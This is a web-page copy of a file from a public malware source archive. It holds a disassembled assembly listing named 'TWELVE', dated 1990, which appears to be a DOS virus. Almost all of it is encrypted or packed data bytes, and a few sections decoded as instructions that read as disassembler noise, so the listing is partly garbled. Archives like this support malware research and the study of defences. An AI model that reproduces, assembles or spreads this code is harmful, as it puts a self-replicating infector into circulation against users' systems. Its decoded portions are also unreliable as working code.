mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
303 lines
15 KiB
NASM
303 lines
15 KiB
NASM
PAGE 59,132
|
|
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ TWELVE ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ Created: 26-Apr-90 ÛÛ
|
|
;ÛÛ Version: ÛÛ
|
|
;ÛÛ Passes: 5 Analysis Options on: H ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
|
|
data_1e equ 3366h ; (7415:3366=0)
|
|
data_2e equ 7EF7h ; (7415:7EF7=0)
|
|
data_3e equ 8C8Dh ; (7415:8C8D=0)
|
|
|
|
seg_a segment byte public
|
|
assume cs:seg_a, ds:seg_a
|
|
|
|
|
|
org 100h
|
|
|
|
twelve proc far
|
|
|
|
start:
|
|
;* jmp $+4h ;*
|
|
db 0E9h, 1, 0
|
|
db 21h, 46h, 0B8h, 9Bh, 1Ah, 0BFh
|
|
db 2Bh, 1, 90h, 4Bh, 0F8h, 0FCh
|
|
db 0B9h, 71h, 5, 31h, 0Dh, 2Bh
|
|
db 0DAh, 33h, 0D9h, 2Bh, 0D9h, 2Bh
|
|
db 0D8h, 90h, 33h, 0D1h, 31h, 5
|
|
db 46h, 43h, 0F8h, 40h, 90h, 47h
|
|
db 0E2h, 0E9h, 40h, 40h, 61h, 1Fh
|
|
db 6Eh, 3, 0C9h, 82h, 6Fh, 36h
|
|
db 0D1h, 5Ah, 8Bh, 33h, 0C3h, 6Bh
|
|
db 0D5h, 0D7h, 85h, 0CCh, 17h, 4Eh
|
|
db 0E9h, 0F3h, 7Ch, 0B1h, 29h, 52h
|
|
db 0FBh, 0FFh, 74h, 0B5h, 2Bh, 56h
|
|
db 0F9h, 0F3h, 64h, 0A9h, 0Dh, 32h
|
|
db 9Bh, 97h, 1Ch, 0D5h, 7Fh, 64h
|
|
db 82h, 7Bh, 0ADh, 94h, 1Eh, 61h
|
|
db 6Ch, 29h, 7Dh, 0F3h, 4Ah, 0F7h
|
|
db 0F4h, 4Ah, 0FEh, 0FFh, 1, 0
|
|
db 51h, 7Ch, 7, 47h, 0DDh, 22h
|
|
db 0CCh, 0EFh, 0D5h, 1Bh, 0F2h, 81h
|
|
db 0DEh, 36h, 5Fh, 0D1h, 0D3h, 63h
|
|
db 0FAh, 1Eh, 0CCh, 23h, 0E1h, 76h
|
|
db 0ABh, 0Bh, 39h, 5Ch, 0DEh, 0B9h
|
|
db 3, 0F4h, 7Eh, 21h, 74h, 31h
|
|
db 0Ch, 0EFh, 59h, 9, 0D9h, 37h
|
|
db 12h, 44h, 92h, 18h, 30h, 12h
|
|
db 0ABh, 16h, 14h, 4Ch, 0BAh, 6Eh
|
|
db 2Bh, 6Fh, 0F5h, 5Bh, 4Ch, 0F3h
|
|
db 7Dh, 0Dh, 53h, 4Ah, 0F1h, 0F7h
|
|
db 59h, 5Dh, 98h, 2, 0Fh, 29h
|
|
db 8Bh, 0D0h, 5Ch, 0ADh, 29h, 54h
|
|
db 3, 52h, 13h, 76h, 0D5h, 58h
|
|
db 13h, 4, 0D7h, 63h, 39h, 74h
|
|
db 8Bh, 7, 0FDh, 8Ah, 0F9h, 1Ah
|
|
db 0D1h, 0F5h, 39h, 0EDh, 0BBh, 0C9h
|
|
db 63h, 8Dh, 0B9h, 97h, 1Eh, 6Dh
|
|
db 0BBh, 14h, 0EBh, 67h, 14h, 50h
|
|
db 34h, 93h, 41h, 0D3h, 0D6h, 87h
|
|
db 0FEh, 0CBh, 0F5h, 87h, 0F9h, 55h
|
|
db 16h, 7, 39h, 49h, 0F5h, 0F3h
|
|
db 0B6h, 0F0h, 64h, 0A5h, 21h, 57h
|
|
db 28h, 2Ch, 0A9h, 0DCh, 6Dh, 8Fh
|
|
db 7Fh, 5Eh, 0ABh, 21h, 66h, 1Ch
|
|
db 6Ch, 35h, 63h, 0F7h, 4Ch, 0F5h
|
|
db 0FDh, 0Ch, 59h, 78h, 6, 43h
|
|
db 0BBh, 78h, 3Bh, 6Eh, 2Fh, 0B2h
|
|
db 15h, 0AEh, 16h, 13h, 0D0h, 3Eh
|
|
db 0F6h, 15h, 85h, 0DBh, 0A1h, 5Ch
|
|
db 20h, 0CEh, 9Eh, 0F0h, 1Eh, 68h
|
|
db 39h, 78h, 79h, 8, 0FDh, 0D7h
|
|
db 0EAh, 0CBh, 0EAh, 87h, 0, 6Eh
|
|
db 51h, 28h, 0D5h, 0D7h, 2Dh, 0A7h
|
|
db 38h, 5Ch, 61h, 28h, 0D5h, 0DDh
|
|
db 0A1h, 0Dh, 66h, 91h, 1Fh, 0A5h
|
|
db 74h, 31h, 0Ah, 0F3h, 51h, 55h
|
|
db 0C1h, 0F3h, 80h, 0Dh, 0ABh, 4Bh
|
|
db 0EDh, 0ACh, 66h, 45h, 14h, 55h
|
|
db 34h, 93h, 50h, 0BEh, 14h, 0DDh
|
|
db 63h, 2Fh, 94h, 0D0h, 6Ch, 0Eh
|
|
db 13h, 0Ch, 7Eh, 21h, 74h, 31h
|
|
db 5Ch, 0FFh, 30h, 0D2h, 4Dh, 0F5h
|
|
db 0C8h, 78h, 3Bh, 6Eh, 2Fh, 72h
|
|
db 0D5h, 1Ah, 0F4h, 0A0h, 0D9h, 36h
|
|
db 0B5h, 0D2h, 19h, 5Ch, 0Dh, 6Bh
|
|
db 0EDh, 0B8h, 20h, 0D2h, 7Ch, 0B9h
|
|
db 0Dh, 7Ah, 0ABh, 5, 49h, 0CCh
|
|
db 4Ch, 0F4h, 0F5h, 78h, 3Bh, 6Eh
|
|
db 2Fh, 83h, 12h, 0DDh, 33h, 0D8h
|
|
db 41h, 31h, 0, 0D8h, 0E7h, 0D8h
|
|
db 11h, 14h, 26h, 0ADh, 0DAh, 0E2h
|
|
db 39h, 8Fh, 35h, 0F1h, 0BFh, 33h
|
|
db 0CCh, 7Bh, 0F5h, 0F7h, 4Fh, 0F3h
|
|
db 0EDh, 22h, 0CCh, 0A0h, 0D6h, 3Eh
|
|
db 0C0h, 0D2h, 11h, 55h, 4, 1Fh
|
|
db 0Ah, 83h, 1Dh, 82h, 21h, 6Ah
|
|
db 45h, 0F0h, 0F5h, 3Bh, 15h, 9Ah
|
|
db 79h, 6Bh, 0FDh, 72h, 34h, 2Ah
|
|
db 0F1h, 3Fh, 89h, 0, 13h, 5Fh
|
|
db 0E1h, 62h, 7Ah, 3Ch, 9Eh, 53h
|
|
db 0Fh, 88h, 98h, 23h, 0B9h, 5Eh
|
|
db 0CCh, 0DCh, 3Ch, 3Fh, 0Bh, 80h
|
|
db 0A3h, 3, 31h, 3Eh, 0D4h, 0D7h
|
|
db 0F4h, 3Bh, 3Dh, 0B0h, 0ABh, 1Fh
|
|
db 21h, 34h, 17h, 28h, 0D5h, 1Fh
|
|
db 0F9h, 0FEh, 18h, 0D7h, 19h, 1Bh
|
|
db 90h, 95h, 5, 23h, 6Ah, 0FDh
|
|
db 71h, 0F0h, 0F5h, 0AAh, 31h, 0FFh
|
|
db 7Ch, 32h, 0D2h, 0F6h, 7Ch, 7Fh
|
|
db 0ECh, 0EFh, 21h, 83h, 6Dh, 0EDh
|
|
db 15h, 98h, 5Bh, 0EFh, 0D1h, 2Dh
|
|
db 0A2h, 51h, 0FFh, 9Ah, 69h, 0EBh
|
|
db 0EDh, 3Fh, 1Ch, 95h, 0Bh, 3Fh
|
|
db 0FEh, 7Dh, 12h, 2Eh, 0F6h, 3Bh
|
|
db 25h, 0A8h, 33h, 6Eh, 2Eh, 0F4h
|
|
db 0D5h, 10h, 93h, 35h, 0DAh, 0DFh
|
|
db 35h, 0C7h, 0D4h, 5Eh, 0ABh, 3Dh
|
|
db 6Ch, 2Ch, 0FDh, 0F3h, 39h, 0D1h
|
|
db 14h, 0B5h, 1Bh, 7Ch, 0FDh, 3Fh
|
|
db 0B9h, 53h, 0F4h, 0F2h, 6Ch, 2Ch
|
|
db 0FDh, 93h, 59h, 20h, 0CAh, 6Bh
|
|
db 9Dh, 26h, 9Fh, 93h, 1Eh, 0E1h
|
|
db 79h, 5Fh, 17h, 94h, 2Bh, 0D6h
|
|
db 0F5h, 4, 51h, 78h, 0BBh, 11h
|
|
db 0D6h, 34h, 0BAh, 5Dh, 7Eh, 0BDh
|
|
db 1, 6Eh, 4, 65h, 0D6h, 0ECh
|
|
db 1Ah, 0A7h, 0D4h, 65h, 0DDh, 0D3h
|
|
db 3Dh, 61h, 0D5h, 38h, 0, 23h
|
|
db 66h, 85h, 19h, 0A1h, 7Eh, 0Dh
|
|
db 31h, 5Eh, 0E5h, 0CAh, 0F5h, 76h
|
|
db 33h, 0A4h, 0EDh, 23h, 0D1h, 0AEh
|
|
db 0D3h, 18h, 16h, 99h, 0CBh, 0EDh
|
|
db 0B8h, 4Ch, 4Fh, 0FEh, 86h, 12h
|
|
db 0E9h, 0E9h, 0EDh, 0A3h, 0Ah, 15h
|
|
db 39h, 1Ah, 66h, 0DCh, 0C0h, 1Fh
|
|
db 0F1h, 3Bh, 96h, 0E5h, 0F1h, 57h
|
|
db 0EDh, 91h, 6Ch, 0D7h, 0D5h, 69h
|
|
db 0DDh, 0DFh, 10h, 0F2h, 0A7h, 0D8h
|
|
db 61h, 93h, 54h, 0ECh, 0EDh, 3Fh
|
|
db 21h, 0A8h, 23h, 72h, 3Fh, 6Ch
|
|
db 0FDh, 3Eh, 0D4h, 7Ch, 0A3h, 9
|
|
db 66h, 0A1h, 15h, 12h, 74h, 77h
|
|
db 6Ah, 12h, 54h, 80h, 9Dh, 2Bh
|
|
db 94h, 0C0h, 58h, 0B2h, 59h, 0D1h
|
|
db 20h, 0D2h, 4Dh, 0F6h, 0B6h, 78h
|
|
db 0B3h, 9, 76h, 25h, 74h, 35h
|
|
db 54h, 0F3h, 20h, 0CEh, 0F3h, 58h
|
|
db 83h, 2Bh, 5Bh, 8Dh, 23h, 6Bh
|
|
db 0C7h, 1Eh, 0F4h, 0C8h, 8Ch, 0E0h
|
|
db 2Dh, 0DCh, 36h, 0C0h, 27h, 0C4h
|
|
db 3, 78h, 18h, 40h, 0FDh, 0F2h
|
|
db 0A2h, 1Fh, 5Bh, 0F3h, 2Eh, 64h
|
|
db 0A3h, 0E3h, 94h, 0E6h, 29h, 92h
|
|
db 9Ch, 0DEh, 55h, 81h, 0C4h, 0DEh
|
|
db 0C4h, 0DAh, 3Ch, 26h, 64h, 0BDh
|
|
db 5, 76h, 14h, 0F4h, 0FDh, 0AEh
|
|
db 0BCh, 0C0h, 35h, 0Eh, 26h, 23h
|
|
db 0B4h, 2Ch, 0B5h, 83h, 16h, 3Fh
|
|
db 0Ch, 2Ch, 58h, 0Fh, 0A8h, 2Ah
|
|
db 0DEh, 7, 5Eh, 12h
|
|
loc_1:
|
|
cmp al,0Fh
|
|
mov bp,7E24h
|
|
aas ; Ascii adjust
|
|
lodsw ; String [si] to ax
|
|
mov bl,2Ah ; '*'
|
|
cld ; Clear direction
|
|
mov bx,7E1Fh
|
|
pop es
|
|
push es
|
|
push di
|
|
db 2Eh, 55h, 0EDh, 93h, 7Dh, 49h
|
|
db 6Ah, 18h, 5Fh, 0BCh, 0DBh, 75h
|
|
db 0AEh, 0D1h, 73h, 0E6h, 1Eh, 2Ch
|
|
db 0BEh, 78h, 29h, 0A7h, 0A3h
|
|
db 78h
|
|
|
|
locloop_2:
|
|
mov bh,ch
|
|
add dh,ds:data_2e[si] ; (7415:7EF7=0)
|
|
adc word ptr [bx],41h
|
|
esc 7,cl ; coprocessor escape
|
|
pop cx
|
|
xchg ax,dx
|
|
rcr cl,1 ; Rotate thru carry
|
|
rcl byte ptr [di-68h],cl ; Rotate thru carry
|
|
esc 2,ds:data_3e[di] ; (7415:8C8D=0) coprocessor escape
|
|
sbb al,ds:data_1e[bx+si] ; (7415:3366=0)
|
|
loc_3:
|
|
mov bp,7EA5h
|
|
adc word ptr [bx+di],0CD5Fh
|
|
sti ; Enable interrupts
|
|
ja loc_1 ; Jump if above
|
|
db 0F2h, 0D3h, 0Bh, 7Bh, 0AAh, 0E8h
|
|
db 0B3h
|
|
db 4Bh, 4Dh
|
|
loc_5:
|
|
esc 3,[bp+si+4E0Eh] ; coprocessor escape
|
|
movsb ; Mov [si] to es:[di]
|
|
push ds
|
|
adc [bp+0Bh],al
|
|
popf ; Pop flags
|
|
push si
|
|
add al,dl
|
|
db 6Fh, 0F3h, 0Fh, 54h, 0F9h, 0F3h
|
|
db 76h, 0B9h, 11h, 0DEh, 90h, 0F7h
|
|
db 56h, 0F7h, 0EDh
|
|
loc_6:
|
|
loopz locloop_2 ; Loop if zf=1, cx>0
|
|
|
|
;* jo loc_4 ;*Jump if overflow=1
|
|
db 70h, 0D3h
|
|
xlat [bx] ; al=[al+[bx]] table
|
|
jbe loc_5 ; Jump if below or =
|
|
esc 5,[si] ; coprocessor escape
|
|
test cx,sp
|
|
dec ax
|
|
adc al,49h ; 'I'
|
|
int 0BDh
|
|
push di
|
|
in ax,dx ; port 0, DMA-1 bas&add ch 0
|
|
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
|
call $-4A7Fh
|
|
sbb ax,5E05h
|
|
push bp
|
|
jl loc_3 ; Jump if <
|
|
das ; Decimal adjust
|
|
dec si
|
|
;* jmp short loc_7 ;*(04BD)
|
|
db 0EBh, 0EDh
|
|
db 18h, 0D3h, 49h, 36h, 95h, 9Dh
|
|
db 14h, 0DBh, 71h, 36h, 99h, 95h
|
|
db 68h, 0B5h, 0F0h, 70h, 30h, 4Ah
|
|
db 0DCh, 0F4h, 4Bh, 66h, 0E5h, 44h
|
|
db 82h, 0F0h, 0Fh, 9, 0B5h, 0A6h
|
|
db 7Fh, 0DCh, 0D6h, 0E4h, 0DAh, 0E6h
|
|
db 2, 0EEh, 6, 0F6h, 0Bh, 0FEh
|
|
db 0Eh, 0FEh
|
|
db 9
|
|
loc_8:
|
|
jge loc_6 ; Jump if > or =
|
|
stosb ; Store al to es:[di]
|
|
mov al,0B3h
|
|
mov ch,0Dh
|
|
mov ax,1D6Dh
|
|
sbb dh,al
|
|
cmc ; Complement carry
|
|
hlt ; Halt processor
|
|
div al ; al, ah rem = ax/reg
|
|
jmp short loc_8 ; (04FD)
|
|
db 0E4h, 12h, 1Fh, 16h, 1Eh, 12h
|
|
db 11h, 1Eh, 10h, 11h, 1Bh, 15h
|
|
db 5, 11h, 0FFh, 0EDh, 0F9h, 0F1h
|
|
db 0E3h, 0F5h, 0EDh, 0F1h, 0E7h, 0FEh
|
|
db 0E1h, 0F2h, 0E8h, 0F6h, 0EBh, 0F2h
|
|
db 0F2h, 0EEh, 0CDh, 0D2h, 0F4h, 0D6h
|
|
db 0F7h, 0D2h, 0FEh, 0DEh, 0F9h, 58h
|
|
db 9Bh, 3Fh, 5Eh, 95h, 7, 64h
|
|
db 13h, 72h, 1Ah, 41h, 0F6h, 1Bh
|
|
db 0DCh, 0FFh, 49h, 0B3h, 4Ch, 1Bh
|
|
db 0F1h, 78h, 3Bh, 6Eh, 7, 4Eh
|
|
db 96h, 5Ah, 0B4h, 0Fh, 0CDh, 14h
|
|
db 0D3h, 7Bh, 1Eh, 0D1h, 7Fh, 18h
|
|
db 13h, 6Eh, 2, 45h, 0F6h, 1Fh
|
|
db 0F6h, 0F3h, 0A5h, 62h, 3Eh, 0C2h
|
|
db 0F0h, 0C6h, 0F8h, 0B3h, 0AAh, 0Dh
|
|
db 15h, 10h, 61h, 0D7h, 18h, 3Ah
|
|
db 0DCh, 0DFh, 0F7h, 0FDh, 96h, 98h
|
|
db 98h, 0D3h, 0BDh, 0AEh, 0B9h, 0BBh
|
|
db 0C8h, 0B6h, 0B2h, 0B2h, 0AFh, 0D1h
|
|
db 0BEh, 0BCh, 0B8h, 0F7h, 0F5h, 0BEh
|
|
db 0EDh, 0EFh, 0EDh, 13h, 14h, 16h
|
|
db 14h, 12h, 1Ch, 1Eh, 1Ch, 12h
|
|
db 14h, 16h, 14h, 12h, 0ECh, 0EFh
|
|
db 0EDh, 0F3h, 0F5h, 0F7h, 0F5h, 0F3h
|
|
db 0FDh, 0FFh, 0FDh, 0F3h, 0F5h, 0F7h
|
|
db 0F5h, 0F3h, 0EDh, 0EFh, 0EDh, 0D3h
|
|
db 0D5h, 0D7h, 0D5h, 0D3h, 0DDh, 0DFh
|
|
db 0DDh, 0D3h, 0D5h, 0D7h, 0D5h, 0D3h
|
|
db 0EDh, 0EFh, 0EDh, 0F3h, 0F5h, 0F4h
|
|
db 0CAh, 0CCh, 0C2h, 0C0h, 0C2h, 0CCh
|
|
db 0CAh, 0C8h, 0B6h, 0BCh, 0A0h, 0ECh
|
|
db 0E3h, 93h, 95h, 97h, 29h, 5Fh
|
|
db 0B6h, 9Fh, 0BDh, 58h, 0Fh, 0Dh
|
|
db 81h, 97h, 0EDh, 0EFh, 0EDh, 0B2h
|
|
db 0B2h, 0B6h, 0A7h, 0DDh, 0BEh, 0B0h
|
|
db 0B0h, 0F3h, 0F5h, 0BAh, 0F5h, 0F3h
|
|
db 0EDh, 0EFh, 0EDh
|
|
|
|
twelve endp
|
|
|
|
seg_a ends
|
|
|
|
|
|
|
|
end start
|